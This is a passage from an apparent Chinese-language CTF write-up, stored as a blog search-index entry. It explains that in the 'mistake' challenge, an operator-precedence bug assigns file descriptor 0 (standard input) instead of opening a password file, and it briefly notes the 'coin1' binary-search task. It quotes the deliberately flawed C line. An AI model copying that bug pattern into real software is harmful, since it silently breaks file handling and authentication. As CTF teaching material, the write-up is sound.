id="mistake"><a href="#mistake" class="headerlink" title="mistake"></a>mistake</h3><p>运算符优先级的问题,比较运算符是高于赋值运算符的,所以源程序这一句实际上将0赋值给了fd,也就是标准输入</p><pre><code class="c">if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191125025726.png"></p><p>不过不同语言之间有差别,一般是 <code>非 > 算术运算符 > 关系运算符 > 与 > 或 > 赋值运算符</code></p><h3 id="coin1"><a href="#coin1" class="headerlink" title="coin1"></a>coin1</h3><p>二分法找一堆10里的一个9(跟pwn有啥关系)</p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
</search>